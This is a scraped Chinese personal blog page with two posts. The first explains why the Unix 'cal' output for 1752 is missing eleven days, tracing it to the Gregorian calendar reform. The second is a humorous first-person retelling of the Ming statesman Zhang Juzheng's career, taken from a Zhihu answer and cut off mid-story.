class="number">13</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span> <span class="number">17</span>   <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span> <span class="number">17</span></span><br><span class="line"><span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span>   <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span>   <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span></span><br><span class="line"><span class="number">28</span> <span class="number">29</span> <span class="number">30</span> <span class="number">31</span>            <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span>            <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span> <span class="number">30</span> <span class="number">31</span></span><br><span class="line"></span><br><span class="line">        April                   May                   June</span><br><span class="line">Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa</span><br><span class="line"> <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>          <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>                   <span class="number">1</span>  <span class="number">2</span></span><br><span class="line"> <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span>    <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span>    <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span></span><br><span class="line"><span class="number">15</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span>   <span class="number">13</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span>   <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span></span><br><span class="line"><span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span>   <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> <span class="number">26</span>   <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span></span><br><span class="line"><span class="number">29</span> <span class="number">30</span>                  <span class="number">27</span> <span class="number">28</span> <span class="number">29</span> <span class="number">30</span> <span class="number">31</span>         <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span> <span class="number">30</span></span><br><span class="line"></span><br><span class="line">        July                  August                September</span><br><span class="line">Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa</span><br><span class="line"> <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>             <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>                      <span class="number">1</span></span><br><span class="line"> <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span>    <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span>    <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span></span><br><span class="line"><span class="number">15</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span>   <span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span>    <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span></span><br><span class="line"><span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span>   <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span>   <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span></span><br><span class="line"><span class="number">29</span> <span class="number">30</span> <span class="number">31</span>               <span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span> <span class="number">30</span> <span class="number">31</span>      <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span></span><br><span class="line">                                              <span class="number">30</span></span><br><span class="line">       October               November               December</span><br><span class="line">Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa</span><br><span class="line">    <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>                <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>                      <span class="number">1</span></span><br><span class="line"> <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span>    <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span>    <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span></span><br><span class="line"><span class="number">14</span> <span class="number">15</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span>   <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span> <span class="number">17</span>    <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span></span><br><span class="line"><span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span>   <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span>   <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span></span><br><span class="line"><span class="number">28</span> <span class="number">29</span> <span class="number">30</span> <span class="number">31</span>            <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span> <span class="number">30</span>      <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span></span><br><span class="line">                                              <span class="number">30</span> <span class="number">31</span></span><br></pre></td></tr></table></figure></p>
<p>维基百科是这样解释的：</p>
<blockquote>
<p>由于新历法是教皇颁布的，新教国家予以抵制。直到18世纪，大英帝国，包括英格兰、苏格兰、以及现在美国的一部分才采纳格里历，也就是儒略历 1752年 9月2日星期三的次日是格里历1752年9月14日星期四，日期跳过11日。</p>
</blockquote>
<blockquote>
<p>值得注意的是，1582年，罗马教廷减去的是10天，而到1752年修改历法的时候却减去了11天的原因其实很简单，这涉及到了闰年的问题，闰年的计算方法：公元纪年的年数可以被四整除，即为闰年；被100整除而不能被400整除为平年；被100整除也可被400整除的为闰年。而1600年和1700年的2月都是29天，原来在1800年之前的闰年计算方法中没有把被100整除而不能被400整除的年份算为平年，更没有考虑到被100整除也可被400整除的算为闰年。所以罗马教廷把1700年的2月算成29天，而1600年的2月却是阴差阳错地恰好与现行的历法相符。结果1582年到1752年之间，当时历法算法和现行历法算法实际只相差了1天。</p>
</blockquote>
<p>1582年2月，罗马教廷要求从1582 年10月中减去10天，因此1852 年10月4日后面紧跟着就是15日。 在意大利、西班牙等国家都这样处理了。其他天主教国家也很快跟着这么做了，但是新教国家不愿意修改，直到1752年，英国人才想通，理性终于占了上风，不过从1582年到那时，历法又多出了1天，所以英国议会在1752年作出决定，抹掉11天—-1752年9月3日至13日，至此才接受了格里历的改革。所以这个改革在英国及其殖民地（包括美国）在1752年9月才被执行。这样 1752 年9月2日后面跟着的就是1752 年9月14日， 这就是为什么cal 1752会丢失11天的原因。</p>
<p>为什么减去10天的原因是由于地球章动的常年累月的影响累计，历法已经不准了。虽然是罗马教皇宣布的，但是其实是天文学家们计算得出来的。<a href="https://tonydeng.github.io/2006/03/28/A-Linux-command-a-human-civilization/" target="_blank" rel="noopener">https://tonydeng.github.io/2006/03/28/A-Linux-command-a-human-civilization/</a></p>
<p>推荐阅读：</p>
<p><a href="https://mp.weixin.qq.com/s/-cSjrvkibYGp5Fx8gCTFuw" target="_blank" rel="noopener">那些你可能不知道的浏览器奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/eGDO0Y8el_dsEyriCoAgog" target="_blank" rel="noopener">那些你可能不知道的微信奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/j7VhoZXmUTnOWC5C_B8jlQ" target="_blank" rel="noopener">那些你可能不知道的微博奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/LtI2piwAIDXA590NEsXvuw" target="_blank" rel="noopener">那些你可能不知道的网易云音乐奇技淫巧</a></p>
<p> <a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483979&amp;idx=1&amp;sn=0735daa1d805b66d346ed0e8e60a841f&amp;scene=21#wechat_redirect" target="_blank" rel="noopener">那些你可能不知道的搜索奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483983&amp;idx=1&amp;sn=f0e1d9a8e22caf609d6c21431a530186&amp;chksm=e827a5aedf502cb8b72f2036054753fcfd9c20c28b9fbccdeae619a254a80e1024f18ba06523&amp;token=457023358&amp;lang=zh_CN#rd" target="_blank" rel="noopener">那些你可能不知道的视频下载奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/R3x-xZwqLIVwPjlgikDQ9A" target="_blank" rel="noopener">那些你可能不知道的免费观看 VIP 视频奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/sqRgMh4rxFBt5YxNtaa6dw" target="_blank" rel="noopener">那些你可能不知道的知乎奇技淫巧</a></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-393b26173c148690.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="免费星球"></p>
<h3 id="公众号：苏生不惑"><a href="#公众号：苏生不惑" class="headerlink" title="公众号：苏生不惑"></a>公众号：苏生不惑</h3><p> <img src="https://upload-images.jianshu.io/upload_images/17817191-6e0079f95d4c0338.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="扫描二维码关注"></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/07/16/如何评价张居正/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/07/16/如何评价张居正/" itemprop="url">如何评价张居正</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-16T20:07:06+08:00">
                2019-07-16
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  14.4k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  48 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>本文来自知乎答主回答，地址 <a href="https://www.zhihu.com/question/20255485/answer/110608407" target="_blank" rel="noopener">https://www.zhihu.com/question/20255485/answer/110608407</a> </p>
<p>栋梁</p>
<p>1、荆州小秀才</p>
<p>我叫张居正，朋友们叫我叔大，同事们叫我太岳，太爷爷叫我圭儿。学生叫我张先生，有人叫我死鬼！你猜她是谁？</p>
<p>大人物的降生，总是不平凡的。当然我也是。</p>
<p>我不是哪吒，妈妈没有怀孕三年，可是母上大人她幸苦了一年才将我生下。</p>
<p>爷爷说，生我时，他梦见遍地大水，流满屋子，惊恐地不得了，厉害得很！</p>
<p>我说，发大水有何厉害的？他笑着说，你知道那水来自哪里？那可是从张少保的地里流出来的水。</p>
<p>谁是张少保？</p>
<p>一个姓张的少保呀！</p>
<p>太爷爷说，那晚我也做了一个梦：月亮落入咱家的院中的大水缸里，满缸发光。我近前一看，你猜怎么着？一只白龟浮现水中央。</p>
<p>是这样呀，那太爷爷您就给我起名叫白圭吗？</p>
<p>嗯嗯！太爷爷捋着胡须，好像好有成就感的样子。</p>
<p>您好随便啊！</p>
<p>我家祖祖辈辈没出过一个举人，可是到我这儿，这个魔咒要被打破了。</p>
<p>据说，我两岁的时候就认识《孟子》里的“王曰”二字。五岁的时候，我入学读书，十岁通六经大义。人称“荆州小神童”。</p>
<p>嘉靖十五年，我十二岁，前去荆州府投考，补府学生。知府李士翱拉着我的手，言道，你这孩子我曾见过的。昨天，我做了一个梦。我这人平时不做梦的。突然来了个梦，那这个肯定准。我梦到一个老神仙，他给了我一个玉印，吩咐我转给一个孩子。今天我一看，这个孩子就是你啊。不过，白圭这名字不太好，你往后叫张居正吧。</p>
<p>好吧，我明白了，知府大人在和我这个小秀才套近乎呢。作为答谢，我给您唱首歌，左手，右手， 一个慢动作；右手，左手，慢动作重播。这首歌，给你快乐，你有没有爱上我。</p>
<p>童年是幸福的，但是儿时，总会有个讨人嫌的小伙伴。我也不例外，那个辽王富七代朱宪㸅。总欺负我耶。也许，就是因为我是他妈妈眼中别人家的孩子吧。小样儿的，嫉妒我。</p>
<p>第二年，我去武昌考试，这次要考上，我就是举人啦。荆州张举人，想想也不错嘛。可是，有人从中作梗，我没考上呀。那个人就是湖广巡抚顾麟。他认为我太年轻，应该多经历些事情。</p>
<p>我勒个去，难道您不知道张爱玲吗？她说，出名要趁早。</p>
<p>也许，是他后悔了，愧疚了，请我吃饭，还唤出他儿子，拜见我，“此乃荆州张秀才，他年当枢要，汝可往见之，必念其为故人子也。”好吧，你是我哥们，你儿子是我侄儿，他年我发达了，会照顾我侄儿的。可是那年我刚十三岁，这样合适吗？</p>
<p>嘉靖十六年，我又去乡试，这次没人捣乱，果然中试。十六岁的小举人，也不错。顾麟此时正好在安陆，听说我考中了，让我过去叙叙旧。我知道，叙旧是假，其实，你们都懂。他呀，就是不好意思，开这个口，请我吃饭就明说嘛。</p>
<p>唉，老毛病还是没改啊，一见我就解腰带（上次送了一条）。那么人看着呢，“古人都说大器晚成，这是说那些中材的，当然你不是中材，上次是我不好，耽误你了，我错了。这条犀带送给你。”</p>
<p>妈的，有人心胸狭隘，看不得半点别人的好。朱宪㸅那小子看我中了举人，怀恨在心，赐我爷爷喝酒。爷爷看到孙儿中举，辽王又赐酒，高兴，开怀畅饮。可是他小子一杯接一杯，不让爷爷停，一直逼他喝。爷爷，竟然……竟然醉死了……</p>
<p>第二年，会试。这年我十七岁，家里看我太小，第一次出远门，还是不要去了。嗯，反正，我还想再玩两年，那么早就工作，太烦。</p>
<p>嘉靖二十三年，我入京会试，没中。我不伤心，这没有什么，结果一点也不意外。中二的年纪，谁肯循规蹈矩。我要写出那种有古韵，又合乎当世的奇文，赛过屈宋班司马等人。可是三年里，新功未成，旧业已芜。</p>
<p>那就这样吧，过了中二年纪，循规蹈矩就循规蹈矩吧。嘉靖二十六年，我入京考试，中二甲进士，选庶吉士。</p>
<p>庶吉士，我可是储相。</p>
<p>2、蜗牛</p>
<p>翰林院的生活很悠闲，大部分时间在寻章摘句，研究歌词歌赋。有时，也侃侃大山，讨论一下国家大事，什么东南倭寇，什么西北复套啊。</p>
<p>最近大家不讨论了，皇上不喜欢呗。听说夏言和曾铣因为复套问题，被砍了头。没有金刚钻，就别揽那个瓷器活。</p>
<p>偶尔，严阁老来翰林院坐坐。大家一窝蜂似的围了上去，个个谄媚至极，捶腿的捶腿，揉肩的头肩。一帮小人，趋炎附势。</p>
<p>“都让开，严阁老，您看看，这是我给您写的《代谢赐御制答辅臣贺雪吟疏》，请您过目。”好不容挤过人群，来到严阁老面前，终于能表现一下啦。严阁老，您一定要看啊，我的文笔好得很，包您满意。</p>
<p>初夏是个多雨的时节，淅淅的雨声在窗外打个不住，一只蜗牛在蜷缩在窗台，小心地，探出触角。（张居正像蜗牛一样，正在或左或右地伸出触角，寻觅政治上的支援。）</p>
<p>转眼三年过去了。政治上，我也有了些小看法。精心准备了好久，我写了一篇《论时政疏》送了上去：“其大者曰宗室骄恣，曰庶官疾旷，曰吏治因循，曰边备未修，曰财用大亏，其他为圣明之累者，不可以悉举，而五者乃其尤大较著者也。”</p>
<p>我认为我的奏疏一上，立即会引起皇上和严阁老的重视，到时候，他们会发现我这个天才少年，从此我便会飞黄腾达，迎娶白富美，拜相入阁，走上人生巅峰。我表示，我想多了，这篇奏章如石沉大海，没有激起半点涟漪。</p>
<p>遥想汉文帝时期，一个二十余岁的洛阳少年。他的《治安策》论众建诸侯以遏乱萌，这是汉朝的时局的对策。</p>
<p>宗室骄恣，现在，谁信啊。武宗时，确有诸侯造反两次。但就像宁王朱宸濠那样的声势，才折腾了不到四十天，就被阳明先生给平定了。</p>
<p>如今，皇上信奉道教，徽王信奉道教，皇上封他太清辅元宣化真人，辽王信奉道教，皇上封他清微忠教真人。这不过是讨皇上欢喜的一种可怜相，还有什么远大的志趣呢。骄恣，骄恣个屁。</p>
<p>好吧，我加上这条，不过想趁机捅辽王一刀，但是除了宗室骄恣，另外四条不是很好吗？</p>
<p>蜗牛的触角伸出来了，它感觉外面的世界，不太好，很快地缩了回去（这个镜头要特写）。</p>
<p>我一个小破翰林，瞎操什么心，国家大事有大佬们呢，我还是安心写文章吧。</p>
<p>嘉靖二十九年，俺答寇大同，入蓟州，攻北古口，同时从黄榆沟溃墙入境，很快兵临城下。城是北京城，堂堂明帝国的首都，被一群野蛮人包围了。</p>
<p>朝廷居然无作为，任由这群野蛮人在城下抢劫一遭，然后大摇大摆的走了。事后问责，严阁老居然安然无恙，兵部尚书丁汝夔弃市，他活该，谁让他一兵不发。有人会说，不是严阁老让丁汝夔不要轻易开战的吗？是严阁老说的，那又怎么样？他是兵部尚书，还是你丁汝夔是兵部尚书？同样的是兵部尚书，你有什么脸去见于大人？</p>
<p>蜗牛的一个触角及时收回，另一个却探了出去（也给镜头吧。这只小破蜗牛抢镜好几次了。严嵩那边碰壁，张居正开始倒向了徐阶）。</p>
<p>朝廷中的徐阁老，人还错。当俺答兵临城下的时候，他指出俺答的“求贡书”，是用汉文写的，应该再用鞑靼文再一份，免得到时候，他们不认账。当然什么文字不重要，这只是一个缓兵之计，我们需要时间，要等四方的勤王之师。</p>
<p>军队来了，结果你们也知道，我方死了不少人，却没有开战。</p>
<p>Why？</p>
<p>这个国家，药丸！</p>
<p>兵备如此松弛，让一群野蛮人兵临首都。</p>
<p>经济如此落后，后勤得不到一点保障，勤王之师来到帝国首都，居然没有饭吃。将士们一腔热血，不远万里，保家卫国。可是居然没有饭吃，如此能不寒了将士们的心，将来又谁肯为这个国家卖命？</p>
<p>朝政依旧，严阁老忙着捞钱，徐阁老一心一意研究青词。呵呵，徐阁老，您和严阁老一样，一点作为都没有，一个尸位素餐，一个故位希宠罢了。</p>
<p>“种松勿负垣，植兰勿当逵，临市叹黄犬，但为后世嗤”，没有什么好留恋的，我还是走吧，江陵的山水在向我招手。</p>
<p>3、纵情山水</p>
<p>厌倦了也好，逃避也罢。嘉靖三十三年，我请假回江陵。筑室小湖山中，读书写诗，种瓜种豆，再养上一直大白鹤。陶渊明、林逋也不过如此吧。</p>
<p>日子闷了，去游览一下衡山，登高赋诗。</p>
<p>“初闻铁骑近神州，杀气谣传蓟北秋。”</p>
<p>呸！玩就好好玩，还想着国家大事。</p>
<p>张居正，张居正啊，你能不能愉快地玩耍。</p>
<p>玩都不能痛快，还要应付那个大傻子。辽王你说你喝酒，追女人每天的行程满满当当的，还要缠着我，作对吟诗。这些酸秀才才爱的活计，你掺和什么？难道还要考秀才？你不如继续发挥特长，做你这个光辉有前途的富七代。</p>
<p>哼，我都给你记下了：擅自外出藩地，用私生子冒充嫡子。</p>
<p>“欲骋万里途,中道安可留?各勉日新志,毋贻白首羞!”</p>
<p>江陵的山水看厌了，我发现我还是怀念北京。也许我只热爱政权，根本无心山水。</p>
<p>“国士死让,饭漂思韩,欲报君恩,岂恤人言!”</p>
<p>爱咋咋地，不管了，我要去北京。</p>
<p>4、嘉靖的尾巴</p>
<p>嘉靖三十六年，秋，我从江陵赶来。政局依旧，严阁老大权在握，徐阁老还是精心研究青词。表面平静，其实暗流涌动，这是暴风雨来临前的最后时刻。</p>
<p>隐忍，隐忍，再隐忍。暴风雨来得好象晚些，怎么还不见风？</p>
<p>嘉靖四十一年，暴风雨终于来了，它把这积攒了几年的雨量一次倾下，猛烈壮观。严阁老老了，年迈的身子骨，经不起这场风暴，倒下了。</p>
<p>徐阁老成了内阁新的掌门人。</p>
<p>“狂歌袅袅天风发,未论当年赤壁舟。佳辰已是中秋近,万里清光自远天。”</p>
<p>解放区的天是明朗的天, 解放区得人民好喜欢。</p>
<p>我的好日子来了。</p>
<p>嘉靖四十五年，皇上驾崩。徐阁老找我来商量草拟遗诏。</p>
<p>我没听过错吧，找我来商量遗诏。</p>
<p>遗诏是圣旨啊，皇上一辈子，四十五年，最后的圣旨啊，最后一次，它可以肯定四十五年功绩，可以否定四十五年的一切。盖棺定论呀，大行皇帝，您聪明了一辈子，紧紧把握着政权，想不到最后的最后，落我们手里了。</p>
<p>5、火箭</p>
<p>两个月后，我升任礼部右侍郎兼翰林院学士，随后，我在十四天内入阁，领吏部左侍郎，接着我被任命《世宗实录》编修。当月又负责重录《永乐大典》，马上我被任命为礼部尚书兼武英殿大学士。隆庆元年，我又被授予更高的荣耀：少保兼太子太保。</p>
<p>“姓张的少保，张少保家的水。”</p>
<p>我想起爷爷。（回忆儿时和爷爷温馨的画面）</p>
<p>坐火箭，除了坐火箭，没法形容我的升官速度了。仅一年左右的时间，我从正五品升到了从一品。</p>
<p>6、内阁大乱斗</p>
<p>严阁老倒台了，永陵躺下了。穆宗皇上是一位宽厚的君主，好吧，他爱女人，爱喝酒，爱跟内监们一起玩耍，就是不爱这政治。</p>
<p>群龙无首，这下内阁可热闹了。</p>
<p>我先介绍一下现在内阁的成员：徐阁老、李春芳、郭朴、高拱、陈以勤老师、我。</p>
<p>其实我不想讲这个的，一是要想讲明白篇幅太长；二是这些内斗也没有促进生产力的发展,三是，我戏太少。那我偷个懒，就不细讲了。</p>
<p>总之，因为言官的努力，高拱致仕了，郭朴也没有顶住压力，走了，最后徐阁老也走了。</p>
<p>李春芳成了内阁首辅，他只是一个好好先生，谈不上什么作为，老师陈以勤也是。他们当个太平宰相足以，在动乱中，只能抓瞎。</p>
<p>国家的重任压在我一个人肩上了。张居正，你要努力！</p>
<p>隆庆二年八月，我上《陈六事疏》：（一）省议论；（二）振纪纲；（三）重诏令；（四）核名实；（五）固邦本；（六）饬武备。</p>
<p>你们也看到了，有什么远大的政见吗？</p>
<p>没有，这些都是平凡的意见，没有高超的理论。我不是政论家，我是一个现实的人，这一切的主张，都是针对当时的需要。</p>
<p>二十年前，我的《论时政疏》与现在的《陈六事疏》当然有一贯的地方，但是二十年的经验，还有二十年的政治生活，我的主张发生了不可磨灭的变化。我的议论已经摆脱了少年文人习气，一切扼中要点，我所陈述的六件事情，其实分为两项：第一论政本；第二论急务。</p>
<p>一条到四条是论政本，我希望皇上有主张，有决断，一切的诏令要实现，一切的政策要落实，一切的言论要控制。说白了要独裁，独裁政治才能集中力量办大事。</p>
<p>我希望皇上您要像秦始皇，像汉武帝，像太祖皇帝。如果您做不到，我可以伊尹，霍……或者赵普，如果把时间拉近些，我希望您让我做于谦。</p>
<p>“览卿奏，俱深切时务，具见谋国忠恳，该部、院看议行。”套话，空话，皇上对政治一点都不感冒。“嗯，你的奏章我看了，好，很好，你是个忠臣，让六部和都察院看着办吧。”</p>
<p>好了，政本先放下，急务不能等啊。</p>
<p>边关吃紧。</p>
<p>我朝的制度，完全是战时体制，国家的首都，政治中心，放在了第一道线上，只有敌人突破长城，就能兵临城下。</p>
<p>长城至关重要，我朝在长城以内设有九镇：辽东、蓟州、宣府、大同、榆林、宁夏、甘肃、太原、固原。河套一带敌人比较薄弱，西边四镇还算安定，太原在内长城以内，也还行。吃紧的是辽东、蓟州、宣府、大同四镇。</p>
<p>嘉靖二十九年，设总督蓟辽、保定等处军务一员，设总督宣大、山西等处军务一员，简称蓟辽总督，宣大总督。这是北京的左右两翼，拱卫着国家的中心。</p>
<p>辽东距离鞑靼的中心比较远，宣府、大同有山可守，蓟州是最危险的地方，重中之重啊。</p>
<p>我一定要慎重考虑蓟州的人选。有人建议谭纶、俞大猷、戚继光。嗯，这三人不错，经过战争的洗礼。</p>
<p>谭纶本是总督两广军务，我立即召回为兵部左侍郎兼右佥都御史，总督蓟辽、保定军务。大猷老了，还是不要动了，戚继光召为神机营副将，总理蓟州、昌平、保定兵事，总兵官以下，悉受节制。总理，戚继光是总理，有人肯定会很奇怪，我朝武将最高官职不过总兵，戚继光一个武将居然能上总理？</p>
<p>咋滴?我就是偏袒戚帅，我乐意。你要本事，蓟州你去啊。</p>
<p>我这里我顺便提一见小事，哈哈……</p>
<p>我没有笑，我是严肃的，堂堂大学士怎么会不稳重呢。</p>
<p>那个富七代，对，没错，就是辽王，那个大傻子。生活不检点，有人弹劾他。皇上派刑部侍郎洪朝选去调查此事。</p>
<p>话说，那个傻子不是信奉道教吗？他的道教神仙会保佑他逢凶化吉的，就算没有，不是还有皇上派的洪朝选吗？可是这傻子等不及了，也许想起了那出《窦娥冤血洒幡竿》的杂剧。</p>
<p>他也竖起了一面白旗，上书“讼冤之纛”四个大字。</p>
<p>按察副使笃臣正在江陵，认为辽王揭竿起义，造反了，立即派了五百兵士包围了辽王府。笃臣好样的，他比阳明先生厉害，不论时间上还是耗费上，就迅速地平定了藩王的叛乱。我给他100分。</p>
<p>6.5内阁大乱斗(下)</p>
<p>隆庆三年，赵贞吉入阁。他有才，又有一颗报国心。赵贞吉和我老师陈以勤是同乡，但是他是嘉靖十四年的进士，老师是二十六年的进士，这么说吧，内阁中都是他的后辈。</p>
<p>所以这位老小子，狂妄的很。</p>
<p>不知道用了手段，高拱也杀回来了。据传闻他是通过内监再次被起用的。这次高拱可是意气风发，不但入阁还兼掌吏部事。注意我的用词，兼掌，不是兼。</p>
<p>不说了，我得去拍马屁了。</p>
<p>“恭喜，恭喜！恭喜老哥重掌枢要，从此，国家又有了顶梁柱啦。”</p>
<p>“老弟客气了，你也不赖呀。”</p>
<p>“是吗？谢谢老哥夸奖，老哥是周公，我好比召公，我们共同辅佐圣明天子，好不好。”</p>
<p>“好好！”</p>
<p>高拱这个愣头青的杀回，让赵贞吉很不舒服。隆庆四年，左都御史王廷致仕，赵贞吉和首辅李春芳说了，要兼掌都察院。老好人李春芳看热闹，不嫌事大。好，你要就给你。</p>
<p>一边是行政权，一边是检察权，旗鼓相当啊，针尖对麦芒，从此以后这两个人开始了无尽的撕逼</p>
<p>。</p>
<p>长江后浪推前浪，前浪死在沙滩上。赵贞吉最终还是败下阵来，但是他拼尽最后一口气，要求解除高拱见掌吏部的大权，以免私党建立。</p>
<p>在高拱和赵贞吉撕逼期间，俺答和自己的孙子，为了一个女人，爆发了家庭矛盾。我、宣大总督王崇古、大同巡抚方逢时化身正义的居委会大妈，成功地解决了他们的家庭矛盾。我大明朝和俺大之间决定搁置争议，共同开发边疆。</p>
<p>由于外交处理得好，王崇古升任太子少保、兵部尚书，宣大总督如故；方逢时升任兵部右侍郎兼右佥都御史。兵部尚书、侍郎连带我们大学士一概封赏。</p>
